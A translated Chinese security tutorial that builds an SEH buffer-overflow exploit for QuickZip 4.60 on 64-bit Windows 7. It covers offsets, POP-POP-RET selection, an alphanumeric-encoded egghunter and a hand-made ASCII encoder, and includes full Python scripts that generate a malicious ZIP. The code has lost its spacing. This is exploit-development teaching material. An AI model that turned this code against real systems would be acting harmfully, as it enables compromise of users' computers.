【技术分享】QuickZip V4.60 缓冲区溢出漏洞详解

【技术分享】QuickZip V4.60 缓冲区溢出漏洞详解

2017-05-11 10:12:31

阅读：267次
点赞(0)
收藏

【技术分享】QuickZip V4.60 缓冲区溢出漏洞详解

作者：shan66

翻译：shan66

预估稿费：300RMB

投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿

前言

本文将为读者详细介绍QuickZip v4.60缓冲区溢出漏洞方面的知识。由于漏洞在2010年就出现了，所以它的设计仅适用于32位windows XP。所以，我决定尝试在64位Windows 7上重现该漏洞，这将是一个（有趣的）挑战！

PoC

为此，我从exploit-db中抓取了QuickZip v4.60 Windows XP漏洞，并将用它创建了一个简单的PoC来触发崩溃。

上述代码创建了一个压缩文件，其中只包含一个名为4064A的文件，它的扩展名为“.txt”。 Header_1，header_2和header_3是ZIP文件结构所需的标题。我不会详细介绍，但您可以在这里阅读更多。

如果您在QuickZip中打开刚创建的ZIP文件，并尝试提取其内容（或只需双击文件名），那么QuickZip就会崩溃。

了解崩溃详情

好的，我们来运行PoC，看看到底发生了什么。

使用上面的Python脚本创建ZIP文件，使用QuickZip打开它，启动ImmunityDebugger，附加到QuickZip进程，并在QuickZip中双击文件名以触发崩溃。注意：我们将不断重复这个过程！

很好，崩溃如期而至。另外，这里出现了一个异常，屏幕底部可以看到“Access violation when writing to [00190000]”。这意味着我们试图写入一个无效的内存地址，从而触发了一个异常。

下面，我们来研究一下SEH链。

很好，看来我们能够控制nSEH指针！下面，我们尝试算出偏移量。

偏移量

一如既往，我要借助mona（https://github.com/corelan/mona）来完成许多工作。

首先，我们生成一个4064个独特字符的模版，并将其放在PoC漏洞利用代码的有效载荷中：

!monapc4064

再次触发崩溃，看看会发生什么情况。

呃，崩溃看起来有点不同。这里的问题是LEAVE指令尝试从堆栈跳回到0EEDFADE地址，不过这里是该程序的无效内存地址。

此外，似乎我们无法控制SEH了。

但是，请注意，我们实际上是在内核模块中（请看Immunity窗口的名称：“CPU - main thread, module KERNELBA”）。使用SHIFT + F9将执行权传回给程序，看看是否触发另一个异常，但是是在QuickZip模块中。

真棒，看起来成功了！

使用以下命令让mona计算所有偏移量：

！monafindmsp
【技术分享】QuickZip V4.60 缓冲区溢出漏洞详解

在这里，我们最感兴趣的偏移是nSEH field: offset 292。

让我们用偏移信息更新PoC，并尝试再次触发崩溃。

太好了，我们控制了SEH！让我们将异常传给程序（SHIFT + F9），并进一步调查发生了什么。

当然，另外一个异常也被触发，因为43434343是这个程序的无效内存地址，但是让我们看看堆栈上到底发生了什么——通常是SEH溢出，我们需要调用一组POP-POP-RET指令来返回到缓冲区。

找到这样的指令是很容易的，但首先，我们必须知道允许使用哪些字符。这就是我们需要关注的下一个问题。

坏字符

总的来说，大部分是这样的。为什么？因为我们的溢出是针对filename参数的，而文件名用到的字符类型是相当有限的：通常只有ASCII可打印的字符。

如果使用手动方式的话，那么使用mona通过遍历方法找到所有坏的字符将需要太长的时间，所以这里简单假设除了0x00、0x0a和0x0d（分别代表NULL、换行和回车）之外，我可以使用ASCII表中所有的字符（最高值为0x7F的字符）。

这个假设可能会比事情比实际情况要更困难（因为我需要避免使用实际可以使用的字符）一些，或者可能会导致更多的问题，如果我的假设范围内的某些字符其实是错误的话。

我不喜欢这样做假设，但为了进行这个练习，这里例外一次。

我只需要记住，要格外小心，如果有情况，则需要再次检查坏的字符。这有点冒险，但很好玩，继续！

POP-POP-RET

让我们通过mona来寻找一个易于使用的POP-POP-RET指令：

！monaseh

这里找到很多结果（7909！），但突出显示的结果看起来最有希望——全部由字母数字字符组成，位于QuickZip.exe二进制文件本身中，有望使其更具跨平台特性，因为我们不希望依赖特定的操作系统DLL。

这里唯一的问题是0x00字节，但是由于程序的地址空间的原因，每个地址都以0x00开头，所以我们来尝试一下，看看是否会影响我们的漏洞利用代码。

更新PoC漏洞利用代码，用\ x33 \ x28 \ x42 \ x00替换目前代表SEH的CCCC，再次触发崩溃并考察SEH链。

好的，看起来我们的地址没有乱码，跟我们的预期相符。设置断点（F2），然后按SHIFT + F9将控制权传递给程序。

如您所见，我们将重定向到POP-POP-RET指令，让我们用F8进行操作，并在RETN 4指令之后停止。

真棒，我们已经进入有效载荷...但有一个问题：因为NULL字节的缘故，SEH链之后的所有东西都被切断了，所以没有给我们太多的空间做任何事情。

shellcode去哪里了？

好的，我们分析一下，看看我们进展情况。

我们设法让它崩溃了，并且能控制SEH，这非常好！问题是我们的有效载荷受制于一个非常有限的字符集，并且因为我们必须使用NULL字节的地址来调用POP-POP-RET指令，我们的有效载荷被切断了，并且留给shellcode的空间也不是很大。

那么它究竟有多大呢？别忘了，为了获得SEH，我们还在有效负载开始部分进行了填充：

那么我们有多少空间呢？共计292个字节。不幸的是，这些是不够的。

不过，这个问题好像可以用egghunter来解决！

Egghunter只是一堆指令，在程序的内存空间中查找一个特定的、已知的字节序列（“egg”），一旦找到，将重定向到该区域。

这样我们就不用担心我们的shellcode在哪里结束了，我们可以调用eghtunter例程，它会为我们找到它们！

听起来不错，但下一个问题是，有效载荷的“截止”部分真的位于在内存中吗？我们来看看吧。

让我们生成3764个单字符的模版（在NULL字节之后填写我们的有效负载），并用它替换现有的A。

！monapc3764

我们触发崩溃，当我们得到我们的第一个异常时，不要将异常传递给程序，而是调用以下命令来在内存中搜索以前生成的模版：

！monafindmsp
【技术分享】QuickZip V4.60 缓冲区溢出漏洞详解

太棒了！有效载荷的整个“截断”部分仍然在内存中，所以我们应该能够成功地使用egghunter来获取我们的shellcode。

Egghunter

现在我们能够使用egghunter来获取我们的shellcode，但是我们只有292个字节可供使用。实际上，我们可以用292字节空间做许多事情，但是别忘了，我们只能使用非常有限的字符集。

我们试着用metasploit的x86 / alpha_mixed编码器对egghunter进行编码，看看在这之后还剩下多少空间。

首先，让我们生成egghunter有效载荷。请记住，我们正在使用64位操作系统，因此还需要使用相应的egghunter例程（有关更多详细信息，请访问https://www.corelan.be/index.php/2011/11/18/WOW64-egghunter/ ）：

！monaegghunter-wow64

将生成的字节复制到文本文件中，并使用xxd将其转换为二进制文件：

#categghunter-wow64.txt 31db53535353b3c06681caff0f42526a265833c98bd464ff135e5a3c0574e9b8773030748bfaaf75e4af75e1ffe7 #categghunter-wow64.txt|xxd-r-p>egghunter-wow64.bin

现在，我们需要让编码器确保只用ASCII可打印字符。

#msfencode-ex86/alpha_mixedbufferregister=eax-iegghunter-wow64.bin [*]x86/alpha_mixedsucceededwithsize146(iteration=1) buf= "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"+ "\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"+ "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42"+ "\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x66\x51\x49\x4b"+ "\x52\x73\x53\x63\x62\x73\x36\x33\x4e\x53\x6f\x30\x75\x36"+ "\x6d\x51\x59\x5a\x49\x6f\x36\x6f\x72\x62\x71\x42\x42\x4a"+ "\x66\x46\x56\x38\x74\x73\x78\x49\x4c\x4b\x4b\x64\x61\x74"+ "\x49\x6f\x47\x63\x31\x4e\x50\x5a\x77\x4c\x77\x75\x53\x44"+ "\x49\x79\x38\x38\x52\x57\x36\x50\x50\x30\x33\x44\x6c\x4b"+ "\x59\x6a\x4e\x4f\x32\x55\x38\x64\x4e\x4f\x70\x75\x6b\x51"+ "\x6b\x4f\x79\x77\x41\x41"

注意：我已经使用bufferedregister = eax选项，这是因为编码器需要找到它在内存中的位置，以便能够对有效载荷进行解码。最初，负责该项工作的例程不在ASCII可打印的字符集中，因此会破坏我们的有效载荷。

指定bufferregister选项基本上就是告诉编码器不用担心如何在内存中找到自己的位置，我们会事先做好这件事情，我们将其地址放在EAX寄存器中。这样，我们的编码后的egghunter就是纯ASCII字符（更多关于生成字母数字shellcode的信息可以在这里找到）。

我们更新我们的PoC漏洞利用代码，以反映我们迄今为止所做的工作的成效。

#!/usr/bin/python header_1=("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00") header_2=("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00" "\x24\x00\x00\x00\x00\x00\x00\x00") header_3=("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00" "\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00") print"[+]BuildingPoC.." max_size=4064 nseh_offset=292 #msfencode-ex86/alpha_mixedbufferregister=eax-iegghunter-wow64.bin #[*]x86/alpha_mixedsucceededwithsize146(iteration=1) egghunter=("\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30" "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42" "\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x66\x51\x49\x4b" "\x52\x73\x53\x63\x62\x73\x36\x33\x4e\x53\x6f\x30\x75\x36" "\x6d\x51\x59\x5a\x49\x6f\x36\x6f\x72\x62\x71\x42\x42\x4a" "\x66\x46\x56\x38\x74\x73\x78\x49\x4c\x4b\x4b\x64\x61\x74" "\x49\x6f\x47\x63\x31\x4e\x50\x5a\x77\x4c\x77\x75\x53\x44" "\x49\x79\x38\x38\x52\x57\x36\x50\x50\x30\x33\x44\x6c\x4b" "\x59\x6a\x4e\x4f\x32\x55\x38\x64\x4e\x4f\x70\x75\x6b\x51" "\x6b\x4f\x79\x77\x41\x41") payload=egghunter payload+="A"*(nseh_offset-len(payload))#paddingfornSEH payload+="BBBB"#nSEH payload+="\x33\x28\x42\x00"#SEH payload+="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev" payload+=".txt" print"[+]Length="+str(len(payload)) exploit=header_1+payload+header_2+payload+header_3 mefile=open('cst.zip','w'); mefile.write(exploit); mefile.close() print"[+]Exploitcomplete!"

让我们触发崩溃，将控制权传递给该程序并执行POP-POP-RET指令。之后，在CPU窗口中向上滚动，寻找egghunter有效载荷和一组EC ECX指令（代表字符A）的结束位置。

好的，看起来像是在那里，它似乎也是正确的:没有使用不符合要求的字符！

跳转回来

现在我们还有更多的事情需要考虑——这里最重要的一点是，我们需要把egghunter的地址放在EAX中，然后跳转到那里。

我们如何在空间有限的情况下做到这一点？首先，我们有多少空间？简单计算一下就知道是146字节（nseh偏移减去egghunter的大小）。

146字节可以做什么？我们只需要写几个指令，但是它们必须属于允许使用的有限的字符集。在这种情况下，我们不能使用已经用于egghunter的通用编码器，因为我们根本没有足够的空间来满足它。

所以，我们需要创建自己的编码器！这听起来很让人头疼，但实际上比看起来要简单得多。

首先，我们来看看目前在程序中的位置。

我们只有4个字节，可由我们支配用来跳回有效载荷并开始写定制的编码器。同时，这4个字节最好是字母数字。幸运的是，有多个指令可供使用，特别是在那些情况下！

在这方面，可以参考TheColonial分享的相关技巧：http://buffered.io/posts/jumping-with-bad-chars/。

简而言之，我们可以简单地使用JO和JNO指令来调用近转移指令到我们的有效载荷。但我们能跳多远？通过用一些允许的字符的包裹后，我发现一些坏的字符会被转换为A2，它转换成十进制就是92，这应该能给我们提供足够的空间，以创建我们的自定义编码器。

让我们用metasm生成所需的操作码，并将它们添加到我们的有效载荷中，用于代替nSEH。

metasm>jno$-99 "\x71\x9b" metasm>jo$-99 "\x70\x9b"

注意：\ x9b（-99），因为这是一个不符合要求的字符，所以实际上将转换为\ xa2（-92）。

我们的PoC部分应该如下所示：

payload=egghunter payload+="A"*(nseh_offset-len(payload))#paddingfornSEH payload+="\x71\x9b\x70\x9b"#nSEH:jno$-99;jo$-99==>9bwillactuallybeconvertedtoA2,whichis$-92 payload+="\x33\x28\x42\x00"#SEH payload+=pattern#patterntolookforinmemory payload+=".txt"

让我们触发崩溃，将执行权传递给程序，单步调试POP-POP-RET指令，观察单步调试JNO / JO指令时会发生什么。

令人惊奇的是，这次跳转到了我们的有效载荷！现在，创建自定义编码器，编写指令，跳转到egg hunting例程。

定制编码器

为了跳到eghunter，我们需要写许多条指令，因为不使用“坏”字符的话，就没有直接的方法。

要解决这个问题，我们需要执行以下操作：

找出我们想要写的指令的操作代码

使用简单的数学指令（即ADD和SUB），通过允许的字符将来自上述步骤的操作码的值放入我们选择的寄存器（例如EAX）中

我们将这个寄存器的值写入堆栈，从而将我们想要的指令写入ESP指向的内存区域

听起来很复杂？但实际上并不是那么糟糕。

首先，我们需要调整堆栈才能写入我们控制的内存区域。通过观察ESP的值和我们目前的位置（上面的截图），可以发现，我们需要将ESP偏移0x62C（0x0018FB58（EIP的值）减去0x0018F528（ESP的值）再减去0x4（用于填充的空字节））。

这可以通过以下指令来实现：

pushesp; popeax; addeax,0x62C; pusheax; popesp;

上述指令的相应操作码如下所示：

"\x54"#pushesp; "\x58"#popeax; "\x05\x2c\x06\x00\x00"#addeax,0x62C "\x50"#pusheax; "\x5c"#popesp;

但是，这里有一个问题—— “\ x05 \ x2c \ x06 \ x00 \ x00”有两个NULL字节，这将破坏我们的漏洞利用代码。

然而，我们可以通过使用有效字符执行几次ADD和SUB指令来设置成我们想要的值，例如，

\x05\x2d\x07\x01\x01#addeax,0x0101072D \x2d\x01\x01\x01\x01#subeax,0x01010101 #total:0x00000630

瞧！我们可以使用有效的字符来实现同样的事情。下面我们来更新漏洞利用代码，看看会发生什么。

太棒了，我们的有效载荷完全与堆栈可以完美搭配了，下面开始编写我们的编码器。

注意：由于pop esp指令（\ x5c）的缘故，ZIP文件的内容看起来会有点不同。 \ x5c表示一个反斜杠，由QuickZip解释为一个文件夹...这可能在以后有一些影响，但现在没什么。

现在，我们需要做的最后一件事是写一组指令，将egghunter的起始地址放入EAX并跳转到它。

为了避免“坏”字符，我们将在EAX寄存器中设置我们需要的操作码的值，并将其压入我们调整的堆栈上。这样，我们需要的指令将写到我们控制的内存区域中。

下面用一个例子来解释。

让我们从实际想要写的指令开始吧：

pushesp; popeax; subeax,0xDEADBEEF jmpeax;

很简单——将ESP压入堆栈中，将其弹出到EAX中，通过一定的值将其调整到egghunter中（我们不知道确切的值，因此现在的占位符为0xDEADBEEF），并跳转到EAX的调整地址。

下面生成我们需要的字节：

metasm>pushesp "\x54" metasm>popeax "\x58" metasm>subeax,0xDEADBEEF "\x2d\xef\xbe\xad\xde" metasm>jmpeax "\xff\xe0"

把它们写成4个一组：

\x54\x58\x2d\xef \xbe\xad\xde\xff \xe0\x90\x90\x90

因为我们一次写4个字节，所以我们需要在末尾填充3个nops（\ x90）（把要写入的字节的总长度设为12）。

现在，让我们从右下角开始写字节（因为endianness的缘故）——这将指出我们实际需要压入堆栈的值。

\x90\x90\x90\xe0 \xff\xde\xad\xbe \xef\x2d\x58\x54

记住，我们只能使用ASCII值，这意味着可以使用几乎任何01到7f字节的组合来进行计算。

让我们用一个对利用代码比较友好的指令，将第一组字节写入eax：

#zerooutEAX "\x25\x10\x10\x10\x10"#andeax,0x10101010 "\x25\x01\x01\x01\x01"#andeax,0x01010101 #write0x909090e0intoEAX "\x05\x70\x70\x70\x70"#addeax,0x70707070 "\x05\x70\x20\x20\x20"#addeax,0x20202070 "\x50"#pusheax;

我们来更新漏洞利用代码并运行它。

太棒了，我们已经在EAX中成功设定了我们需要的值，并把它压入堆栈上，实际上写的是我们需要的指令！

让我们对所有剩余的字节做同样的处理。

完成上述处理后，新的PoC应该如下所示：

#!/usr/bin/python header_1=("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00") header_2=("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00" "\x24\x00\x00\x00\x00\x00\x00\x00") header_3=("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00" "\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00") print"[+]BuildingPoC.." max_size=4064 nseh_offset=292 jump_offset=92 #msfencode-ex86/alpha_mixedbufferregister=eax-iegghunter-wow64.bin #[*]x86/alpha_mixedsucceededwithsize146(iteration=1) egghunter=("\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30" "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42" "\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x66\x51\x49\x4b" "\x52\x73\x53\x63\x62\x73\x36\x33\x4e\x53\x6f\x30\x75\x36" "\x6d\x51\x59\x5a\x49\x6f\x36\x6f\x72\x62\x71\x42\x42\x4a" "\x66\x46\x56\x38\x74\x73\x78\x49\x4c\x4b\x4b\x64\x61\x74" "\x49\x6f\x47\x63\x31\x4e\x50\x5a\x77\x4c\x77\x75\x53\x44" "\x49\x79\x38\x38\x52\x57\x36\x50\x50\x30\x33\x44\x6c\x4b" "\x59\x6a\x4e\x4f\x32\x55\x38\x64\x4e\x4f\x70\x75\x6b\x51" "\x6b\x4f\x79\x77\x41\x41") payload=egghunter payload+="A"*(nseh_offset-len(payload)-jump_offset)#paddingfornSEH #Offsetthestackby0x62Ctostartwritingtoacontrolledareaofmemory # payload+="\x54"#pushesp; payload+="\x58"#popeax; payload+="\x05\x2d\x07\x01\x01"#addeax,0x0101072D payload+="\x2d\x01\x01\x01\x01"#subeax,0x01010101 payload+="\x50"#pusheax; payload+="\x5c"#popesp; #Writeinstructionsfor:pushesp;popeax;subeax,0xDEADBEEF;jmpeax # #Zero-outEAX payload+="\x25\x01\x01\x01\x01"#andeax,0x01010101 payload+="\x25\x10\x10\x10\x10"#andeax,0x10101010 #write0x909090e0intoEAX payload+="\x05\x70\x70\x70\x70"#addeax,0x70707070 payload+="\x05\x70\x20\x20\x20"#addeax,0x20202070 payload+="\x50"#pusheax; #Zero-outEAX payload+="\x25\x01\x01\x01\x01"#andeax,0x01010101 payload+="\x25\x10\x10\x10\x10"#andeax,0x10101010 #write0xffdeadbeintoEAX payload+="\x05\x77\x77\x77\x77"#addeax,0x77777777 payload+="\x05\x37\x25\x57\x77"#addeax,0x77572537 payload+="\x05\x10\x11\x10\x11"#addeax,0x11101110 payload+="\x50"#pusheax; #Zero-outEAX payload+="\x25\x01\x01\x01\x01"#andeax,0x01010101 payload+="\x25\x10\x10\x10\x10"#andeax,0x10101010 #write0xef2d5854intoEAX payload+="\x05\x43\x47\x1c\x77"#addeax,0x771c4743 payload+="\x05\x10\x10\x01\x77"#addeax,0x77011010 payload+="\x05\x01\x01\x10\x01"#addeax,0x01100101 payload+="\x50"#pusheax; payload+="A"*(nseh_offset-len(payload))#paddingfortherestofencoder payload+="\x71\x9b\x70\x9b"#nSEH:jno$-99;jo$-99=>'9b'willactuallybeconvertedto'a2',whichis$-92 payload+="\x33\x28\x42\x00"#SEH 